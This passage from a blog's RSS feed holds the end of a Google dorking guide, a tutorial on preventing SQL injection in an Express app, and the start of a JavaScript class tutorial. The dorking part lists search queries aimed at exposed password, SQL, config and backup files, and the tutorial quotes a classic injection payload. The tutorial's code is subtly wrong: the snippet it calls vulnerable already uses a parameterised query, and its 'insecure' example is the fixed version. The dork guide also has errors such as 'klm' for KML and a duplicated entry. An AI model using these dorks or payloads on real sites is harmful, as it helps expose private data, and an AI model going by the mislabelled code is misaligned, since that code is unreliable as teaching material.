&lt;li&gt;&lt;strong&gt;Advisories and Vulnerabilities&lt;/strong&gt;: Helps locate security advisories, exposed vulnerabilities, or misconfigurations in websites or systems.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Error Messages&lt;/strong&gt;: Detects pages where error messages reveal sensitive backend processes or server structures.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Files Containing Juicy Info&lt;/strong&gt;: Refers to exposed files that may contain potentially exploitable information such as internal documentation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Files Containing Passwords&lt;/strong&gt;: Uncovers files that have accidentally exposed credentials such as &lt;code&gt;.txt&lt;/code&gt; or configuration files.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Files Containing Usernames&lt;/strong&gt;: Locates files with listed usernames that may assist in gaining access to restricted areas.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Footholds&lt;/strong&gt;: Identifies weak entry points or poorly secured areas on a site, which attackers could exploit for further access.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Network or Vulnerability Data&lt;/strong&gt;: Searches for network scans or configuration files that expose vulnerabilities.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pages Containing Login Portals&lt;/strong&gt;: Finds administrative or user login portals by using specific keywords or URL structures.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sensitive Directories&lt;/strong&gt;: Detects directories left open or unprotected, which may contain restricted files.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sensitive Online Shopping Info&lt;/strong&gt;: Identifies improperly secured e-commerce platforms exposing customer or payment data.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Various Online Devices&lt;/strong&gt;: Searches for exposed IoT (Internet of Things) devices, such as web cameras or printers.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerable Files&lt;/strong&gt;: Finds outdated or insecure files that could be exploited by attackers.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerable Servers&lt;/strong&gt;: Detects servers running old software versions or configurations with known vulnerabilities.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Web Server Detection&lt;/strong&gt;: Identifies specific types of web servers, helping with penetration testing and security research.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These are just a few of the many ways Google Dorks can be utilized. While these techniques are highly beneficial for cybersecurity audits, SEO professionals, and many others.&lt;/p&gt;
&lt;h2&gt;1. URL-Based Operators: intitle, allintitle, inurl, and allinurl&lt;/h2&gt;
&lt;p&gt;These operators are used to locate specific information within URLs or page titles. They play an essential role in filtering results effectively.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;intitle:&lt;/code&gt; – Search URL or Web Page Titles&lt;/h3&gt;
&lt;p&gt;This operator is ideal when you want to search for web pages with a specific keyword in their title. It works across &lt;strong&gt;web, images, groups, and news&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;intitle:&quot;SEO techniques&quot;&lt;/code&gt;&lt;br&gt;
This will show pages that have the phrase &quot;SEO techniques&quot; in their title.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;allintitle:&lt;/code&gt; – Search for Titles Containing Multiple Keywords&lt;/h3&gt;
&lt;p&gt;This is similar to &lt;code&gt;intitle:&lt;/code&gt;, but it searches for &lt;strong&gt;multiple keywords&lt;/strong&gt; in the title.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;allintitle: SEO strategy optimization&lt;/code&gt;&lt;br&gt;
Results will contain all the listed words in the page title.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;inurl:&lt;/code&gt; – Search Within a URL&lt;/h3&gt;
&lt;p&gt;This operator helps you find web pages with a specific keyword within the URL. It can be handy for identifying structured URLs or discovering pages with sensitive information.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;inurl:login&lt;/code&gt;&lt;br&gt;
This query reveals login pages across various websites.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;allinurl:&lt;/code&gt; – Search for URLs With Multiple Keywords&lt;/h3&gt;
&lt;p&gt;Similar to &lt;code&gt;inurl:&lt;/code&gt;, this operator searches for pages with &lt;strong&gt;all the listed terms&lt;/strong&gt; in the URL.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;allinurl:admin dashboard&lt;/code&gt;&lt;br&gt;
You can use this to find admin dashboards that contain both &quot;admin&quot; and &quot;dashboard&quot; in the URL.&lt;/p&gt;
&lt;h3&gt;link: — Search for Pages Linking to a Specific URL&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;link:&lt;/code&gt; operator shows pages that link to a specific webpage or domain. This can be used to analyze backlinks, making it helpful for SEO professionals.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;link:example.com&lt;/code&gt;&lt;br&gt;
This query will return pages that contain links pointing to &lt;code&gt;example.com&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Usage:&lt;/strong&gt; Useful for backlink analysis or identifying referring domains.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2. File Type Operators: filetype and Specific File Formats&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;filetype:&lt;/code&gt; operator is extremely valuable for retrieving specific types of documents, such as PDFs or Excel files, from the web. Below are the commonly used file types.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;filetype:&lt;/code&gt; – Search for Specific File Formats&lt;/h3&gt;
&lt;p&gt;This operator allows you to retrieve documents of a particular type.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;filetype:pdf SEO checklist&lt;/code&gt;&lt;br&gt;
The query will display PDFs related to &quot;SEO checklist&quot;.&lt;/p&gt;
&lt;h3&gt;Common File Types and Their Uses&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;PDF&lt;/strong&gt; — Portable Document Format for brochures or guides&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DOC/DOCX&lt;/strong&gt; — Microsoft Word files for articles or reports&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;XLS/XLSX&lt;/strong&gt; — Excel sheets for data and analytics&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TXT&lt;/strong&gt; — Plain text files often used for logs or notes&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PPT/PPTX&lt;/strong&gt; — PowerPoint presentations&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These file types can be located within web, image, and group results. However, not all are available in news searches.&lt;/p&gt;
&lt;h3&gt;Site-Specific Search: &lt;code&gt;site:&lt;/code&gt; Operator&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;site:&lt;/code&gt; operator is indispensable for narrowing down search results to a specific website or domain. This is particularly useful for SEO professionals when conducting &lt;strong&gt;content audits&lt;/strong&gt; or &lt;strong&gt;competitor analysis&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;site:example.com &quot;SEO&quot;&lt;/code&gt;&lt;br&gt;
This search shows all pages on &lt;code&gt;example.com&lt;/code&gt; that mention the term &quot;SEO&quot;.&lt;/p&gt;
&lt;h2&gt;3. Text-Based Search Operators: &lt;code&gt;allintext:&lt;/code&gt; and &lt;code&gt;inanchor:&lt;/code&gt;&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;allintext:&lt;/code&gt; – Search for Specific Text on a Page&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;allintext:&lt;/code&gt; operator ensures that your search focuses on the body text of web pages.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;allintext:&quot;keyword research tools&quot;&lt;/code&gt;&lt;br&gt;
This will return pages with &quot;keyword research tools&quot; in the text body.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;inanchor:&lt;/code&gt; – Search for Anchor Text&lt;/h3&gt;
&lt;p&gt;Anchor text search is valuable in &lt;strong&gt;backlink analysis&lt;/strong&gt;. It finds pages that link to other websites with specific anchor texts.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;inanchor:&quot;best SEO tools&quot;&lt;/code&gt;&lt;br&gt;
This query returns pages linking to sites with &quot;best SEO tools&quot; as the anchor text.&lt;/p&gt;
&lt;h2&gt;4. Search by Numbers and Date: &lt;code&gt;numrange:&lt;/code&gt; and &lt;code&gt;daterange:&lt;/code&gt;&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;numrange:&lt;/code&gt; – Locate Numerical Ranges&lt;/h3&gt;
&lt;p&gt;This operator is ideal for finding data within a specified number range.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;numrange:2000-2020 &quot;tech trends&quot;&lt;/code&gt;&lt;br&gt;
Results will show tech trend data from the specified years.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;daterange:&lt;/code&gt; – Search by Date Range&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;daterange:&lt;/code&gt; operator narrows down results to content published within a specific period.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;daterange:2459000-2459100 &quot;new technology&quot;&lt;/code&gt;&lt;br&gt;
Here, the numbers represent Julian dates.&lt;/p&gt;
&lt;h3&gt;Search for Groups and Authors: &lt;code&gt;group:&lt;/code&gt; and &lt;code&gt;author:&lt;/code&gt; Operators&lt;/h3&gt;
&lt;p&gt;These operators are useful for accessing &lt;strong&gt;Google Groups&lt;/strong&gt; and finding content from specific authors.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;**group:**&lt;/code&gt; – Search for discussions within a group&lt;/li&gt;
&lt;li&gt;&lt;code&gt;**author:**&lt;/code&gt; – Locate posts from a particular author&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;group:&quot;SEO strategies&quot;&lt;/code&gt;&lt;br&gt;
This query finds discussions within groups about SEO strategies.&lt;/p&gt;
&lt;h2&gt;5. Boolean Operators: +, -, and OR&lt;/h2&gt;
&lt;p&gt;Boolean operators refine searches by &lt;strong&gt;forcing inclusions&lt;/strong&gt;, &lt;strong&gt;excluding terms&lt;/strong&gt;, or creating &lt;strong&gt;optional searches&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;+&lt;/code&gt; Operator – Force Inclusion&lt;/h3&gt;
&lt;p&gt;Use this when you want a specific common term to be included in the results.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;SEO +Google&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;-&lt;/code&gt; Operator – Exclude Terms&lt;/h3&gt;
&lt;p&gt;This operator removes unwanted results.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;SEO -advertising&lt;/code&gt;&lt;br&gt;
It will show SEO content but exclude anything related to advertising.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;OR&lt;/code&gt; Operator – Optional Keywords&lt;/h3&gt;
&lt;p&gt;This operator allows you to search for multiple terms.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;&quot;SEO strategy&quot; OR &quot;SEO plan&quot;&lt;/code&gt;&lt;br&gt;
This query returns results containing either phrase.&lt;/p&gt;
&lt;h2&gt;6. Wildcard Operators: &lt;code&gt;*&lt;/code&gt; and &lt;code&gt;.&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Wildcard operators are used to fill in unknown terms or single-character placeholders in your search.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;*&lt;/code&gt; – Replace Any Word&lt;/h3&gt;
&lt;p&gt;This is useful when you’re unsure about certain words in a phrase.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;&quot;best * tools for SEO&quot;&lt;/code&gt;&lt;br&gt;
It finds all variations of the phrase, such as &quot;best free tools for SEO&quot; or &quot;best online tools for SEO&quot;.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;.&lt;/code&gt; – Single-Character Wildcard&lt;/h3&gt;
&lt;p&gt;Use this to replace a single character in a search term.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;gr.y&lt;/code&gt;&lt;br&gt;
It will match results like &quot;gray&quot; or &quot;grey&quot;.&lt;/p&gt;
&lt;h2&gt;7. System and Database File Operators&lt;/h2&gt;
&lt;p&gt;These operators target &lt;strong&gt;system files&lt;/strong&gt; and &lt;strong&gt;databases&lt;/strong&gt;, which are often sensitive.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;**php**&lt;/code&gt; – PHP code files&lt;/li&gt;
&lt;li&gt;&lt;code&gt;**sql**&lt;/code&gt; – SQL database files&lt;/li&gt;
&lt;li&gt;&lt;code&gt;**sql**&lt;/code&gt; – SQLite database files&lt;/li&gt;
&lt;li&gt;&lt;code&gt;**env**&lt;/code&gt; – Environment configuration files&lt;/li&gt;
&lt;li&gt;&lt;code&gt;**log**&lt;/code&gt; – Log files with system information&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;filetype:sql &quot;user database&quot;&lt;/code&gt;&lt;br&gt;
This query finds SQL files that contain user databases.&lt;/p&gt;
&lt;h3&gt;pdb, idb, cdb: — Search for Other Database Formats&lt;/h3&gt;
&lt;p&gt;These operators target specific file extensions related to databases:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;filetype:pdb customers&lt;/code&gt;&lt;br&gt;
This query may find &lt;code&gt;.pdb&lt;/code&gt; (Program Database) files containing customer records.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Usage:&lt;/strong&gt; Helps locate niche or less common databases that could contain sensitive data.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;sis, odb: — Search for System and Internal Database Files&lt;/h3&gt;
&lt;p&gt;These formats are sometimes used in internal applications or mobile platforms. The &lt;code&gt;sis&lt;/code&gt; format, for example, is used for Symbian OS packages.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;filetype:sis application&lt;/code&gt;&lt;br&gt;
This query could expose installation packages for old Symbian-based applications.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Usage:&lt;/strong&gt; Useful for uncovering outdated or unused software components.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;cfg, inf, cfm: — Configuration and Log File Searches&lt;/h3&gt;
&lt;p&gt;While the article touches on &lt;code&gt;.log&lt;/code&gt; files, it omits these key configuration-related file types:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;filetype:cfg settings&lt;/code&gt;&lt;br&gt;
This may reveal configuration files exposing system settings.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Usage:&lt;/strong&gt; Vital for penetration testers to discover exposed configurations.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;idb: — iOS Device Backups and Application Data&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;idb&lt;/code&gt; format can store iOS backup data or application-specific information, which may be accessible if left unsecured online.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;filetype:idb &quot;iPhone backup&quot;&lt;/code&gt;&lt;br&gt;
This query may return backup files containing sensitive mobile data.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Usage:&lt;/strong&gt; Helps in security audits to ensure proper mobile device backup practices.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;klm: — Search for Keyhole Markup Language Files&lt;/h3&gt;
&lt;p&gt;These files are used in mapping software, like Google Earth. If exposed, they could reveal sensitive geospatial data.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;filetype:klm &quot;confidential locations&quot;&lt;/code&gt;&lt;br&gt;
This query may uncover mapping files with sensitive information.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Usage:&lt;/strong&gt; Useful for locating improperly shared geospatial data or maps.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;8. Other Google Dorks&lt;/h2&gt;
&lt;p&gt;Here are some other operators along with explanations of how to use them.&lt;/p&gt;
&lt;h3&gt;link: Search for Pages Linking to a Specific URL&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;link:&lt;/code&gt; operator shows pages that link to a specific webpage or domain. This can be used to analyze backlinks, making it helpful for SEO professionals.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;link:example.com&lt;/code&gt;&lt;br&gt;
This query will return pages that contain links pointing to &lt;code&gt;example.com&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Usage:&lt;/strong&gt; Useful for backlink analysis or identifying referring domains.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;insubject: Search for Google Group Discussions by Subject&lt;/h3&gt;
&lt;p&gt;This operator allows you to search for posts within Google Groups where the discussion subject matches your query. It works similarly to &lt;code&gt;intitle:&lt;/code&gt;, but specifically within groups.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;insubject:&quot;SEO tips&quot;&lt;/code&gt;&lt;br&gt;
This query will find all Google Group threads where the subject contains &quot;SEO tips.&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Usage:&lt;/strong&gt; Ideal for researching public discussions about specific topics.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;msgid: — Locate Google Group Posts by Message ID&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;msgid:&lt;/code&gt; operator is very specific, used to find Google Group messages via their unique ID. It can be helpful if you have a particular message ID from an old discussion.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;msgid:abc123xyz&lt;/code&gt;&lt;br&gt;
This will show the exact post with the specified message ID.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Usage:&lt;/strong&gt; Useful for revisiting archived messages or continuing previous discussions in public forums.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Google Dorking is an essential skill in SEO and cybersecurity. Mastering this operator allows you to perform web searches efficiently. However, keep in mind that there are many more Google Dorks that may not have been mentioned as Google’s search engine features are also constantly evolving. There are also many dorks prebuilt that many people in the community use to find vulnerabilities.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Reference&lt;/h2&gt;
&lt;p&gt;Photo by &lt;a href=&quot;https://unsplash.com/@sixthcitysarah?utm_source=medium&amp;#x26;utm_medium=referral&quot;&gt;sarah b&lt;/a&gt; on &lt;a href=&quot;https://unsplash.com?utm_source=medium&amp;#x26;utm_medium=referral&quot;&gt;Unsplash&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://dorksearch.com/&quot;&gt;https://dorksearch.com/&lt;/a&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/image.CODnIQeG.png"/><enclosure url="/_astro/image.CODnIQeG.png"/></item><item><title>Prevent SQLi with Validators and Prepared Statements</title><link>https://farros.co/blog/prevent-sqli-with-validators-and-prepared-statements/</link><guid isPermaLink="true">https://farros.co/blog/prevent-sqli-with-validators-and-prepared-statements/</guid><description>How to Prevent SQL Injection Attacks with Validators and Prepared Statements in Backend Code.</description><pubDate>Thu, 12 Sep 2024 08:39:41 GMT</pubDate><content:encoded>&lt;p&gt;SQL injection attacks remain one of the most prevalent and dangerous security vulnerabilities in web applications. These attacks allow malicious users to manipulate database queries, potentially compromising sensitive data or altering system functionality. This article discusses the methods to secure your web applications against such threats by incorporating input validation and prepared statements. Using Codey Confectionery, a simple web application as an example, we will demonstrate how these techniques can effectively protect your backend code from SQL injection attempts.&lt;/p&gt;
&lt;h2&gt;Theory&lt;/h2&gt;
&lt;p&gt;SQL injection occurs when an application dynamically constructs an SQL query using unsanitized or improperly validated user input. In the context of a web application, attackers exploit this vulnerability by injecting malicious SQL code into input fields, allowing them to manipulate queries in unintended ways. For instance, in the example of Codey Confectionery, an insecure SQL query like:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const validator = require(&apos;validator&apos;);

app.post(&apos;/track&apos;, (req, res) =&gt; {  
  if (validator.isInt(req.body.customerId)) {  
    db.all(  
      &quot;SELECT * FROM Employee WHERE EmployeeId = $customerId&quot;,  
      { $customerId: req.body.customerId },  
      (err, rows) =&gt; {  
        if (rows) {  
          res.status(200);  
          res.json(rows);  
        } else {  
          res.status(200);  
          res.json({ message: &quot;No employees&quot; });  
        }  
      }  
    );  
  } else {  
    res.json({ message: &quot;Invalid customer ID.&quot; });  
  }  
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;can be compromised by entering &lt;code&gt;1&apos; OR &apos;1&apos; = &apos;1&lt;/code&gt;, which would return all employee records instead of just one. To mitigate this risk, two essential techniques can be employed: input validation and prepared statements.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Input Validation&lt;/strong&gt;: Ensuring that user input matches expected formats (e.g., integers for employee IDs) can help reduce vulnerabilities. In this case, using a validation library like &lt;code&gt;validator&lt;/code&gt; can check if the input is a valid integer before proceeding with the query execution.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Prepared Statements&lt;/strong&gt;: These allow user inputs to be safely incorporated into queries without directly embedding them, preventing SQL code injection. By separating query logic from user inputs through placeholders, malicious SQL input will be treated as data rather than executable code.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;By implementing these techniques, you can create a secure backend that prevents attackers from manipulating your database through SQL injection.&lt;/p&gt;
&lt;h2&gt;Understanding the Vulnerability&lt;/h2&gt;
&lt;p&gt;Let’s begin by examining the core issue. Here’s a snippet from the &lt;code&gt;app.js&lt;/code&gt; file of Codey Confectionery:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;app.post(&apos;/track&apos;, (req, res) =&gt; {  
  db.all(  
    &quot;SELECT * FROM Employee WHERE EmployeeId = $customerId&quot;,  
    { $customerId: req.body.customerId },  
    (err, rows) =&gt; {  
      if (rows) {  
        res.status(200);  
        res.json(rows);  
      } else {  
        res.status(200);  
        res.json({ message: &quot;No employees&quot; });  
      }  
    }  
  );   
}); 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This code retrieves employee data based on the &lt;code&gt;EmployeeId&lt;/code&gt; from a web form. However, this is vulnerable to SQL injection. For example, a malicious user could submit &lt;code&gt;1&apos; OR &apos;1&apos; = &apos;1&lt;/code&gt; into the form, tricking the database into returning all employee records.&lt;/p&gt;
&lt;h2&gt;Step 1: Adding Input Validation&lt;/h2&gt;
&lt;p&gt;To prevent SQL injection, the first step is to ensure that the form input is valid. In this case, we expect the &lt;code&gt;EmployeeId&lt;/code&gt; to be an integer. We can use the &lt;strong&gt;validator&lt;/strong&gt; library to check if the input is indeed an integer before executing the SQL query.&lt;/p&gt;
&lt;p&gt;First, install the validator package:&lt;/p&gt;
&lt;p&gt;npm install validator&lt;/p&gt;
&lt;p&gt;Then, add the following line at the top of your &lt;code&gt;app.js&lt;/code&gt; file to require the validator:&lt;/p&gt;
&lt;p&gt;const validator = require(&apos;validator&apos;);&lt;/p&gt;
&lt;p&gt;Now, modify the &lt;code&gt;/track&lt;/code&gt; route to validate the &lt;code&gt;customerId&lt;/code&gt; before running the SQL query:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;app.post(&apos;/track&apos;, (req, res) =&gt; {  
  if (validator.isInt(req.body.customerId)) {  
    // Proceed with query if valid integer  
  } else {  
    res.json({ message: &quot;Invalid customer ID.&quot; });  
  }  
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This change ensures that only valid integers are processed, blocking any non-numeric or malicious input that could be used for an SQL injection attack.&lt;/p&gt;
&lt;h2&gt;Step 2: Implementing Prepared Statements&lt;/h2&gt;
&lt;p&gt;Even with validation in place, it’s crucial to use &lt;strong&gt;prepared statements&lt;/strong&gt; to prevent SQL injection attacks. Prepared statements allow you to safely pass user input into a query without directly embedding it into the SQL string, making it impossible for malicious users to alter your query logic.&lt;/p&gt;
&lt;p&gt;Let’s refactor the SQL query to use a prepared statement:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;db.all(  
  &quot;SELECT * FROM Employee WHERE EmployeeId = $customerId&quot;,  
  {  
    $customerId: req.body.customerId  
  },  
  (err, rows) =&gt; {  
    if (rows) {  
      res.status(200);  
      res.json(rows);  
    } else {  
      res.status(200);  
      res.json({ message: &quot;No employees&quot; });  
    }  
  }  
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this query, &lt;code&gt;$customerId&lt;/code&gt; is a placeholder for the actual &lt;code&gt;customerId&lt;/code&gt; value. The value is safely injected into the query without the risk of SQL injection, thanks to the use of a prepared statement.&lt;/p&gt;
&lt;h2&gt;Full Secure Code&lt;/h2&gt;
&lt;p&gt;Here is the fully updated route code that includes both validation and prepared statements:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;app.post(&apos;/track&apos;, (req, res) =&gt; {  
  if (validator.isInt(req.body.customerId)) {  
    db.all(  
      &quot;SELECT * FROM Employee WHERE EmployeeId = $customerId&quot;,  
      {  
        $customerId: req.body.customerId  
      },  
      (err, rows) =&gt; {  
        if (rows) {  
          res.status(200);  
          res.json(rows);  
        } else {  
          res.status(200);  
          res.json({ message: &quot;No employees&quot; });  
        }  
      }  
    );  
  } else {  
    res.json({ message: &quot;Invalid customer ID.&quot; });  
  }  
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Testing the Solution&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*6qU6gNAHaJyKQRxU19_zsg.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;After implementing these changes, test the application by submitting invalid data and SQL injection attempts. For example:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Try submitting a non-integer value, such as &lt;code&gt;&quot;abc&quot;&lt;/code&gt;. You should receive an error message: &lt;strong&gt;Invalid customer ID&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Attempt an SQL injection with &lt;code&gt;&quot;1&apos; OR &apos;1&apos; = &apos;1&quot;&lt;/code&gt;. The query will no longer be vulnerable, and no sensitive data will be exposed.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;By adding input validation and using prepared statements, you can significantly reduce the risk of SQL injection attacks. These are essential steps in securing your backend code and ensuring that user input is properly sanitized before interacting with your database.&lt;/p&gt;
&lt;p&gt;With these changes, Codey Confectionery is now protected from SQL injection vulnerabilities. Make sure to apply these best practices to all user input fields in your application to keep it secure.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Thanks to&lt;/strong&gt;: &lt;a href=&quot;https://www.codecademy.com/courses/defending-express-applications-from-sql-injection-xss-csrf-attacks/projects/codeys-confectionery-sql-injection&quot;&gt;Codecademy&lt;/a&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/image.BNT1AuDm.png"/><enclosure url="/_astro/image.BNT1AuDm.png"/></item><item><title>Building a Digital Library with JavaScript</title><link>https://farros.co/blog/building-a-digital-library-with-javascript/</link><guid isPermaLink="true">https://farros.co/blog/building-a-digital-library-with-javascript/</guid><description>Building a Digital Library with JavaScript.</description><pubDate>Tue, 03 Sep 2024 07:28:56 GMT</pubDate><content:encoded>&lt;p&gt;Creating a digital library using JavaScript offers an excellent way to practice object-oriented programming and understand the principles of classes and inheritance. In this guide, we will build a versatile library system that manages books, movies, and CDs, allowing you to enhance your JavaScript skills while constructing a dynamic, extensible application.&lt;/p&gt;
&lt;p&gt;To create a digital library, we need to build three main classes: &lt;code&gt;Book&lt;/code&gt;, &lt;code&gt;Movie&lt;/code&gt;, and &lt;code&gt;CD&lt;/code&gt;. Each of these classes will share common properties and methods, which we will define using a parent class called &lt;code&gt;Media&lt;/code&gt;. Let&apos;s go through the steps to build this library step-by-step.&lt;/p&gt;
&lt;h2&gt;Step 1: Define the &lt;code&gt;Media&lt;/code&gt; Class&lt;/h2&gt;
&lt;p&gt;We start by creating an empty class named &lt;code&gt;Media&lt;/code&gt;, which will serve as the base class for &lt;code&gt;Book&lt;/code&gt;, &lt;code&gt;Movie&lt;/code&gt;, and &lt;code&gt;CD&lt;/code&gt;.&lt;/p&gt;
